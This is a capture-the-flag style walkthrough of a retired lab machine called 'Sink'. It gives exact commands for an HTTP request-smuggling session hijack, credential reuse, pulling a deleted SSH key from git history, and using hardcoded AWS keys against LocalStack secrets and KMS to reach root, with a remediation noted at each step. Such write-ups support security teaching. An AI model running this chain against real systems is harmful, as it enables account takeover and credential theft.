Sink
Summary
The host at $TARGET ran a Flask/Gunicorn notes application on port 5000 behind an outdated HAProxy reverse proxy, and a Gitea source-code server on port 3000. A version-mismatch in how HAProxy 1.9.10 and Gunicorn 20.0.0 each parsed an obfuscated Transfer-Encoding header let me queue a hidden request on the backend connection, capturing the administrator's live session cookie.
That session exposed a Gitea root password the administrator had stored in a plaintext note. Authenticated to Gitea, I cloned the Key_Management repository and recovered an SSH private key that had been committed to history, then deleted, but never purged, giving shell access as marcus and the user flag.
From that foothold, AWS credentials hardcoded in a repository source file reached the box's internal LocalStack service; SecretsManager held the password for david. David's privileges extended to a LocalStack KMS customer key, which decrypted an encrypted deployment archive containing the root server password reused on the OS: full system compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD3="<the-password-you-recovered>"
export PASSWORD4="<the-password-you-recovered>"
export AWS_ACCESS_KEY_ID="<a-password-you-choose>"Some commands also carry a value in angle brackets (<captured_admin_cookie>, <secret_from_ec2php>), which you replace inline with what the step before it turned up.
Attack path: how the box was taken
Exact commands 3
Identify open ports and version banners.
$ nmap -Pn -sV -p22,3000,5000 $TARGETConfirm HAProxy front-end via the 'Via: haproxy' response header.
$ curl -sS -D - http://$TARGET:5000/Confirm Gitea on port 3000.
$ curl -sS -D - http://$TARGET:3000/Exact commands 3
Register and log in to obtain my session cookie required to post to /comment.
$ curl -sS -c /tmp/atk_cookies.txt -b /tmp/atk_cookies.txt -X POST http://$TARGET:5000/ --data-urlencode "username=$USERNAME" --data-urlencode "password=$PASSWORD4"Send the raw CL-TE payload (\x0b-obfuscated Transfer-Encoding) against /comment over a raw TCP socket; repeat until the admin cookie is captured. Curl cannot be used: the 0x0b byte must arrive verbatim on the wire.
$ python3 clte_capture.py --target $TARGET --port 5000 --cookie /tmp/atk_cookies.txt --iterations 15Verify the hijacked session by reading the admin note list; the Gitea credential appears here.
$ curl -sS -b 'session=<captured_admin_cookie>' http://$TARGET:5000/notesFixUpgrade HAProxy and enforce strict HTTP request normalisationCritical
Exact commands 2
Read all admin notes; locate the Gitea root credential.
$ curl -sS -b 'session=<captured_admin_cookie>' http://$TARGET:5000/notesConfirm Gitea root access with the recovered password.
$ curl -sS -u "root:$PASSWORD3" http://$TARGET:3000/api/v1/userFixProhibit storing credentials in application notes or any user-readable contentHigh
Exact commands 4
Git asks for the credential rather than carrying it in the URL: the account is root and the value is $PASSWORD, the same pair the API call above used.
$ git clone http://$TARGET:3000/root/Key_Management.gitList commits to locate the revision before the key was deleted.
$ cd /tmp/Key_Management && git log --onelineExtract the deleted private key from commit b01a6b7.
$ git show b01a6b7:.keys/dev_keys > /tmp/marcus.key && chmod 600 /tmp/marcus.keyVerify the key is a valid OpenSSH private key.
$ ssh-keygen -lf /tmp/marcus.keyFixPurge committed secrets from git history and enforce pre-commit secret scanningCritical
Exact commands 2
Primary path when port 22 is reachable externally.
$ ssh -i /tmp/marcus.key -o StrictHostKeyChecking=no -o BatchMode=yes marcus@$TARGET 'id; cat /home/marcus/user.txt'
uid=1001(marcus)Loopback path via the Gitea git-shell when external :22 is filtered; run from any shell already on the box.
$ git --git-dir=/home/git/gitea-repositories/root/key_management.git show b01a6b7:.keys/dev_keys > /tmp/marcus.key && chmod 600 /tmp/marcus.key && ssh -i /tmp/marcus.key -o BatchMode=yes -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null marcus@127.0.0.1 'id; hostname; cat /home/marcus/user.txt'Exact commands 4
Read the source file to extract the hardcoded AWS access key ID and secret, and the LocalStack endpoint.
$ cat /tmp/Key_Management/ec2.phpEnumerate all secrets on the LocalStack instance (run from a marcus shell on the box).
$ AWS_ACCESS_KEY_ID=$AWS_ACCESS_KEY_ID AWS_SECRET_ACCESS_KEY=<secret_from_ec2php> AWS_DEFAULT_REGION=us-east-1 aws --endpoint-url http://127.0.0.1:4566 secretsmanager list-secretsRetrieve the secret containing david's base64-encoded password.
$ AWS_ACCESS_KEY_ID=$AWS_ACCESS_KEY_ID AWS_SECRET_ACCESS_KEY=<secret_from_ec2php> AWS_DEFAULT_REGION=us-east-1 aws --endpoint-url http://127.0.0.1:4566 secretsmanager get-secret-value --secret-id 'Jenkins Login'Decode the SecretString value to reveal david's plaintext password.
$ echo "$PASSWORD" | base64 -dFixRemove hardcoded AWS credentials from source code and restrict LocalStack network accessCritical
Exact commands 4
Switch to david using the password decoded in the previous step.
$ su - davidEnumerate KMS keys on LocalStack to find the enabled customer key ID.
$ AWS_ACCESS_KEY_ID=$AWS_ACCESS_KEY_ID AWS_SECRET_ACCESS_KEY=<secret_from_ec2php> AWS_DEFAULT_REGION=us-east-1 aws --endpoint-url http://127.0.0.1:4566 kms list-keysDecrypt servers.enc; the RSAES_OAEP_SHA_256 variant is required: other OAEP variants will fail.
$ AWS_ACCESS_KEY_ID=$AWS_ACCESS_KEY_ID AWS_SECRET_ACCESS_KEY=<secret_from_ec2php> AWS_DEFAULT_REGION=us-east-1 aws --endpoint-url http://127.0.0.1:4566 kms decrypt --ciphertext-blob fileb:///home/david/Projects/Prod_Deployment/servers.enc --encryption-algorithm RSAES_OAEP_SHA_256 --output text --query Plaintext | base64 -d > /tmp/servers.tar.gzUnpack the archive and extract the root credential from the YAML file.
$ tar -xzf /tmp/servers.tar.gz -C /tmp/ && grep 'pass:' /tmp/servers.ymlFixEnforce least-privilege KMS key policies and eliminate OS root password reuseCritical
Exact commands 2
Enter the password from servers.yml 'pass:' field when prompted.
$ su - rootConfirm root UID and read the root flag: <root.txt>.
$ id && cat /root/root.txt
uid=0(root)Attack patterns used
The transferable techniques behind this compromise.
SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004
What it is
Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.
Why it works
Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.
Read more
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.